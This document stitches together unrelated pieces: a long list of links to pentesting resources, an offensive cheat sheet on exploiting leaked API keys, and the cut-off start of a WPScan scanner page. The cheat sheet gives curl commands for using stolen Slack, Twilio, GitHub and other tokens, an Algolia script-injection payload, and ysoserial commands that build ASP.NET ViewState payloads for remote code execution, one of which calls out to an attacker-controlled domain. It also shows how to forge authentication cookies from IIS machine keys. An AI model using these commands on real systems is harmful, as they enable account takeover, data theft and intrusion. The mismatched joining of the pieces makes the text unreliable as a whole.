* [https://addons.mozilla.org/id/firefox/collections/byrned/pentesting/?page=8](https://addons.mozilla.org/id/firefox/collections/byrned/pentesting/?page=8)
* [https://addons.mozilla.org/en-US/firefox/addon/osvdb/](https://addons.mozilla.org/en-US/firefox/addon/osvdb/)
* [https://addons.mozilla.org/en-US/firefox/addon/packet-storm-search-plugin/](https://addons.mozilla.org/en-US/firefox/addon/packet-storm-search-plugin/)
* [https://addons.mozilla.org/en-US/firefox/addon/default-passwords-cirtne-58786/](https://addons.mozilla.org/en-US/firefox/addon/default-passwords-cirtne-58786/)
* [https://addons.mozilla.org/en-US/firefox/addon/offsec-exploit-db-search/](https://addons.mozilla.org/en-US/firefox/addon/offsec-exploit-db-search/)
* [https://addons.mozilla.org/en-US/firefox/addon/oval-repository-search-plugin/](https://addons.mozilla.org/en-US/firefox/addon/oval-repository-search-plugin/)
* [https://addons.mozilla.org/en-US/firefox/addon/cve-dictionary-search-plugin/](https://addons.mozilla.org/en-US/firefox/addon/cve-dictionary-search-plugin/)
* [https://addons.mozilla.org/en-US/firefox/addon/hackbar/](https://addons.mozilla.org/en-US/firefox/addon/hackbar/)
## Tool Listings
* [http://packetstormsecurity.org/files/tags/tool](http://packetstormsecurity.org/files/tags/tool)
* [http://tools.securitytube.net/index.php?title=Main_Page](http://tools.securitytube.net/index.php?title=Main_Page)
## Training/Classes
## Sec/Hacking
* [http://pentest.cryptocity.net/](http://pentest.cryptocity.net/)
* [http://www.irongeek.com/i.php?page=videos/network-sniffers-class](http://www.irongeek.com/i.php?page=videos/network-sniffers-class)
* [http://samsclass.info/124/124_Sum09.shtml](http://samsclass.info/124/124_Sum09.shtml)
* [http://www.cs.ucsb.edu/~vigna/courses/cs279/](http://www.cs.ucsb.edu/~vigna/courses/cs279/)
* [http://crypto.stanford.edu/cs142/](http://crypto.stanford.edu/cs142/)
* [http://crypto.stanford.edu/cs155/](http://crypto.stanford.edu/cs155/)
* [http://cseweb.ucsd.edu/classes/wi09/cse227/](http://cseweb.ucsd.edu/classes/wi09/cse227/)
* [http://www-inst.eecs.berkeley.edu/~cs161/sp11/](http://www-inst.eecs.berkeley.edu/~cs161/sp11/)
* [http://security.ucla.edu/pages/Security_Talks](http://security.ucla.edu/pages/Security_Talks)
* [http://www.cs.rpi.edu/academics/courses/spring10/csci4971/](http://www.cs.rpi.edu/academics/courses/spring10/csci4971/)
* [http://cr.yp.to/2004-494.html](http://cr.yp.to/2004-494.html)
* [http://www.ece.cmu.edu/~dbrumley/courses/18732-f09/](http://www.ece.cmu.edu/~dbrumley/courses/18732-f09/)
* [https://noppa.tkk.fi/noppa/kurssi/t-110.6220/luennot](https://noppa.tkk.fi/noppa/kurssi/t-110.6220/luennot)
* [http://stuff.mit.edu/iap/2009/#websecurity](http://stuff.mit.edu/iap/2009/#websecurity)
## Metasploit
* [http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training](http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training)
* [http://www.irongeek.com/i.php?page=videos/metasploit-class](http://www.irongeek.com/i.php?page=videos/metasploit-class)
* [http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,6158.0/](http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,6158.0/)
* [http://vimeo.com/16925188](http://vimeo.com/16925188)
* [http://www.ustream.tv/recorded/13396511](http://www.ustream.tv/recorded/13396511)
* [http://www.ustream.tv/recorded/13397426](http://www.ustream.tv/recorded/13397426)
* [http://www.ustream.tv/recorded/13398740](http://www.ustream.tv/recorded/13398740)
## Programming
### Python
* [http://code.google.com/edu/languages/google-python-class/index.html](http://code.google.com/edu/languages/google-python-class/index.html)
* [http://www.swaroopch.com/notes/Python_en:Table_of_Contents](http://www.swaroopch.com/notes/Python_en:Table_of_Contents)
* [http://www.thenewboston.com/?cat=40&pOpen=tutorial](http://www.thenewboston.com/?cat=40&pOpen=tutorial)
* [http://showmedo.com/videotutorials/python](http://showmedo.com/videotutorials/python)
* [http://www.catonmat.net/blog/learning-python-programming-language-through-video-lectures/](http://www.catonmat.net/blog/learning-python-programming-language-through-video-lectures/)
### Ruby
* [http://www.tekniqal.com/](http://www.tekniqal.com/)
## Other Misc
* [http://www.cs.sjtu.edu.cn/~kzhu/cs490/](http://www.cs.sjtu.edu.cn/~kzhu/cs490/)
* [https://noppa.tkk.fi/noppa/kurssi/t-110.6220/luennot/](https://noppa.tkk.fi/noppa/kurssi/t-110.6220/luennot/)
* [http://i-web.i.u-tokyo.ac.jp/edu/training/ss/lecture/new-documents/Lectures/](http://i-web.i.u-tokyo.ac.jp/edu/training/ss/lecture/new-documents/Lectures/)
* [http://resources.infosecinstitute.com/](http://resources.infosecinstitute.com/)
* [http://vimeo.com/user2720399](http://vimeo.com/user2720399)
## Web Vectors
## SQLi
* [http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/](http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/)
* [http://isc.sans.edu/diary.html?storyid=9397](http://isc.sans.edu/diary.html?storyid=9397)
* [http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/](http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/)
* [http://www.evilsql.com/main/index.php](http://www.evilsql.com/main/index.php)
* [http://xd-blog.com.ar/descargas/manuales/bugs/full-mssql-injection-pwnage.html](http://xd-blog.com.ar/descargas/manuales/bugs/full-mssql-injection-pwnage.html)
* [http://securityoverride.com/articles.php?article_id=1&article=The_Complete_Guide_to_SQL_Injections](http://securityoverride.com/articles.php?article_id=1&article=The_Complete_Guide_to_SQL_Injections)
* [http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/](http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/)
* [http://sqlzoo.net/hack/](http://sqlzoo.net/hack/)
* [http://www.sqlteam.com/article/sql-server-versions](http://www.sqlteam.com/article/sql-server-versions)
* [http://www.krazl.com/blog/?p=3](http://www.krazl.com/blog/?p=3)
* [http://www.owasp.org/index.php/Testing_for_MS_Access](http://www.owasp.org/index.php/Testing_for_MS_Access)
* [http://web.archive.org/web/20101112061524/http://seclists.org/pen-test/2003/May/0074.html](http://web.archive.org/web/20101112061524/http://seclists.org/pen-test/2003/May/0074.html)
* [http://web.archive.org/web/20080822123152/http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html](http://web.archive.org/web/20080822123152/http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html)
* [http://www.youtube.com/watch?v=WkHkryIoLD0](http://www.youtube.com/watch?v=WkHkryIoLD0)
* [http://layerone.info/archives/2009/Joe%20McCray%20-%20Advanced%20SQL%20Injection%20-%20L1%202009.pdf](http://layerone.info/archives/2009/Joe%20McCray%20-%20Advanced%20SQL%20Injection%20-%20L1%202009.pdf)
* [http://vimeo.com/3418947](http://vimeo.com/3418947)
* [http://sla.ckers.org/forum/read.php?24,33903](http://sla.ckers.org/forum/read.php?24,33903)
* [http://websec.files.wordpress.com/2010/11/sqli2.pdf](http://websec.files.wordpress.com/2010/11/sqli2.pdf)
* [http://old.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/](http://old.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/)
* [http://ha.ckers.org/sqlinjection/](http://ha.ckers.org/sqlinjection/)
* [http://lab.mediaservice.net/notes_more.php?id=MSSQL](http://lab.mediaservice.net/notes_more.php?id=MSSQL)
## Upload Tricks
* [http://www.google.com/#hl=en&q=bypassing+upload+file+type&start=40&sa=N&fp=a2bb30ecf4f91972](http://www.google.com/#hl=en&q=bypassing+upload+file+type&start=40&sa=N&fp=a2bb30ecf4f91972)
* [http://blog.skeptikal.org/2009/11/adobe-responds-sort-of.html](http://blog.skeptikal.org/2009/11/adobe-responds-sort-of.html)
* [http://blog.insicdesigns.com/2009/01/secure-file-upload-in-php-web-applications/](http://blog.insicdesigns.com/2009/01/secure-file-upload-in-php-web-applications/)
* [http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/](http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/)
* [http://ex.ploit.net/f20/tricks-tips-bypassing-image-uploaders-t3hmadhatt3r-38/](http://ex.ploit.net/f20/tricks-tips-bypassing-image-uploaders-t3hmadhatt3r-38/)
* [http://www.ravenphpscripts.com/article2974.html](http://www.ravenphpscripts.com/article2974.html)
* [http://www.acunetix.com/cross-site-scripting/scanner.htm](http://www.acunetix.com/cross-site-scripting/scanner.htm)
* [http://www.vupen.com/english/advisories/2009/3634](http://www.vupen.com/english/advisories/2009/3634)
* [http://msdn.microsoft.com/en-us/library/aa478971.aspx](http://msdn.microsoft.com/en-us/library/aa478971.aspx)
* [http://dev.tangocms.org/issues/237](http://dev.tangocms.org/issues/237)
* [http://seclists.org/fulldisclosure/2006/Jun/508](http://seclists.org/fulldisclosure/2006/Jun/508)
* [http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/](http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/)
* [http://www.ipolicynetworks.com/technology/files/TikiWiki_jhot.php_Script_File_Upload_Security_Bypass_Vulnerability.html](http://www.ipolicynetworks.com/technology/files/TikiWiki_jhot.php_Script_File_Upload_Security_Bypass_Vulnerability.html)
* [http://shsc.info/FileUploadSecurity](http://shsc.info/FileUploadSecurity)
## LFI/RFI
* [http://pastie.org/840199](http://pastie.org/840199)
* [http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/](http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/)
* [http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/?utm_source=twitterfeed&utm_medium=twitter](http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/?utm_source=twitterfeed&utm_medium=twitter)
* [http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/](http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/)
* [http://www.digininja.org/blog/when_all_you_can_do_is_read.php](http://www.digininja.org/blog/when_all_you_can_do_is_read.php)
## XSS
* [http://www.infosecwriters.com/hhworld/hh8/csstut.htm](http://www.infosecwriters.com/hhworld/hh8/csstut.htm)
* [http://www.technicalinfo.net/papers/CSS.html](http://www.technicalinfo.net/papers/CSS.html)
* [http://msmvps.com/blogs/alunj/archive/2010/07/07/1773441.aspx](http://msmvps.com/blogs/alunj/archive/2010/07/07/1773441.aspx)
* [http://forum.intern0t.net/web-hacking-war-games/112-cross-site-scripting-attack-defense-guide.html](http://forum.intern0t.net/web-hacking-war-games/112-cross-site-scripting-attack-defense-guide.html)
* [https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf](https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf)
* [http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html](http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html)
* [http://www.securityaegis.com/filter-evasion-houdini-on-the-wire/](http://www.securityaegis.com/filter-evasion-houdini-on-the-wire/)
* [http://heideri.ch/jso/#javascript](http://heideri.ch/jso/#javascript)
* [http://www.reddit.com/r/xss/](http://www.reddit.com/r/xss/)
* [http://sla.ckers.org/forum/list.php?2](http://sla.ckers.org/forum/list.php?2)
## Coldfusion
* [http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/](http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/)
* [http://zastita.com/02114/Attacking_ColdFusion..html](http://zastita.com/02114/Attacking_ColdFusion..html)
* [http://www.nosec.org/2010/0809/629.html](http://www.nosec.org/2010/0809/629.html)
* [http://h30507.www3.hp.com/t5/Following-the-White-Rabbit-A/Adobe-ColdFusion-s-Directory-Traversal-Disaster/ba-p/81964](http://h30507.www3.hp.com/t5/Following-the-White-Rabbit-A/Adobe-ColdFusion-s-Directory-Traversal-Disaster/ba-p/81964)
* [http://cfunited.com/2009/files/presentations/254_ShlomyGantz_August2009_HackProofingColdFusion.pdf](http://cfunited.com/2009/files/presentations/254_ShlomyGantz_August2009_HackProofingColdFusion.pdf)
## Sharepoint
* [http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,6131.msg32678/#msg32678](http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,6131.msg32678/#msg32678)
## Lotus
* [http://blog.ombrepixel.com/post/2009/05/06/Lotus-Notes/Domino-Security](http://blog.ombrepixel.com/post/2009/05/06/Lotus-Notes/Domino-Security)
* [http://seclists.org/pen-test/2002/Nov/43](http://seclists.org/pen-test/2002/Nov/43)
* [http://www.sectechno.com/2010/07/12/hacking-lotus-domino/?](http://www.sectechno.com/2010/07/12/hacking-lotus-domino/?)
## JBoss
* [http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf](http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf)
* [http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html](http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html)
## VMWare Web
* [http://www.metasploit.com/modules/auxiliary/scanner/http/vmware_server_dir_trav](http://www.metasploit.com/modules/auxiliary/scanner/http/vmware_server_dir_trav)
## Oracle App Servers
* [http://www.hideaway.net/2007/07/hacking-oracle-application-servers.html](http://www.hideaway.net/2007/07/hacking-oracle-application-servers.html)
* [http://www.owasp.org/index.php/Testing_for_Oracle](http://www.owasp.org/index.php/Testing_for_Oracle)
* [http://www.ngssoftware.com/services/software-products/internet-security/orascan.aspx](http://www.ngssoftware.com/services/software-products/internet-security/orascan.aspx)
* [http://www.ngssoftware.com/services/software-products/Database-Security/NGSSQuirreLOracle.aspx](http://www.ngssoftware.com/services/software-products/Database-Security/NGSSQuirreLOracle.aspx)
* [http://www.ngssoftware.com/papers/hpoas.pdf](http://www.ngssoftware.com/papers/hpoas.pdf)
## SAP
* [http://www.onapsis.com/research.html#bizploit](http://www.onapsis.com/research.html#bizploit)
* [http://marc.info/?l=john-users&m=121444075820309&w=2](http://marc.info/?l=john-users&m=121444075820309&w=2)
* [http://www.phenoelit-us.org/whatSAP/index.html](http://www.phenoelit-us.org/whatSAP/index.html)
## Wireless
* [http://code.google.com/p/pyrit/](http://code.google.com/p/pyrit/)
## Capture the Flag/Wargames
* [http://intruded.net/](http://intruded.net/)
* [http://smashthestack.org/](http://smashthestack.org/)
* [http://flack.hkpco.kr/](http://flack.hkpco.kr/)
* [http://ctf.hcesperer.org/](http://ctf.hcesperer.org/)
* [http://ictf.cs.ucsb.edu/](http://ictf.cs.ucsb.edu/)
* [http://capture.thefl.ag/calendar/](http://capture.thefl.ag/calendar/)
## Conferences
* [https://www.google.com/calendar/[email protected]&gsessionid=OK](https://www.google.com/calendar/[email protected]&gsessionid=OK)
## Misc/Unsorted
* [http://www.ikkisoft.com/stuff/SMH_XSS.txt](http://www.ikkisoft.com/stuff/SMH_XSS.txt)
* [http://securestate.blogspot.com/2010/08/xfs-101-cross-frame-scripting-explained.html?utm_source=twitterfeed&utm_medium=twitter](http://securestate.blogspot.com/2010/08/xfs-101-cross-frame-scripting-explained.html?utm_source=twitterfeed&utm_medium=twitter)
* [http://whatthefuckismyinformationsecuritystrategy.com/](http://whatthefuckismyinformationsecuritystrategy.com/)
* [http://video.google.com/videoplay?docid=4379894308228900017&q=owasp#](http://video.google.com/videoplay?docid=4379894308228900017&q=owasp#)
* [http://video.google.com/videoplay?docid=4994651985041179755&ei=_1k4TKj-PI-cqAPioJnKDA&q=deepsec#](http://video.google.com/videoplay?docid=4994651985041179755&ei=_1k4TKj-PI-cqAPioJnKDA&q=deepsec#)
* [http://www.sensepost.com/blog/4552.html](http://www.sensepost.com/blog/4552.html)
* [http://blog.zenone.org/2009/03/pci-compliance-disable-sslv2-and-weak.html](http://blog.zenone.org/2009/03/pci-compliance-disable-sslv2-and-weak.html)
* [http://threatpost.com/en_us/blogs/hd-moore-metasploit-exploitation-and-art-pen-testing-040210](http://threatpost.com/en_us/blogs/hd-moore-metasploit-exploitation-and-art-pen-testing-040210)
* [http://carnal0wnage.attackresearch.com/node/410](http://carnal0wnage.attackresearch.com/node/410)
* [http://www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf](http://www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf)
* [http://www.spy-hunter.com/Database_Pen_Testing_ISSA_March_25_V2.pdf](http://www.spy-hunter.com/Database_Pen_Testing_ISSA_March_25_V2.pdf)
* [http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/](http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/)
|
# API Key Leaks
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
## Summary
- [Tools](#tools)
- [Exploit](#exploit)
- [Google Maps](#google-maps)
- [Algolia](#algolia)
- [AWS Access Key ID & Secret](#aws-access-key-id--secret)
- [Slack API Token](#slack-api-token)
- [Facebook Access Token](#facebook-access-token)
- [Github client id and client secret](#github-client-id-and-client-secret)
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
- [Twitter API Secret](#twitter-api-secret)
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token)
- [IIS Machine Keys](#iis-machine-keys)
- [Mapbox API Token](#Mapbox-API-Token)
## Tools
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
```ps1
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
trufflehog git https://github.com/trufflesecurity/trufflehog.git
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
```
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
```powershell
nuclei -t token-spray/ -var token=token_list.txt
```
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
```ps1
python examples/cli.py --url http://example.com/contains_bad_secret.html
python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
```
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
## Exploit
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
### Google Maps
Use : https://github.com/ozguralp/gmapsapiscanner/
Usage:
| Name | Endpoint |
| --- | --- |
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE |
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
Impact:
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
### Algolia
```powershell
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
```
### Slack API Token
```powershell
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```
### Facebook Access Token
```powershell
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```
### Github client id and client secret
```powershell
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```
### Twilio Account_sid and Auth token
```powershell
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```
### Twitter API Secret
```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```
### Twitter Bearer Token
```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```
### Gitlab Personal Access Token
```powershell
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```
### HockeyApp API Token
```powershell
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```
### IIS Machine Keys
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
Requirements
* machineKey **validationKey** and **decryptionKey**
* __VIEWSTATEGENERATOR cookies
* __VIEWSTATE cookies
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```
Common locations of **web.config** / **machine.config**
* 32-bit
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
* 64-bit
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
#### Identify known machine key
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
```powershell
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
```
#### Decode ViewState
```powershell
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
```
#### Generate ViewState for RCE
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
```powershell
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
```
#### Edit cookies with the machine key
If you have the machineKey but the viewstate is disabled.
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
```powershell
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
```
#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```
## References
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
|
---
title: 'WPScan'
category: 'scanner'
type: "CMS"
state: "released"
appVersion: "v3.8.19"
usecase: "Wordpress Vulnerability Scanner"
---
<!--
SPDX-FileCopyrightText: 2021 iteratec GmbH
SPDX-License-Identifier: Apache-2.0
-->
<!--
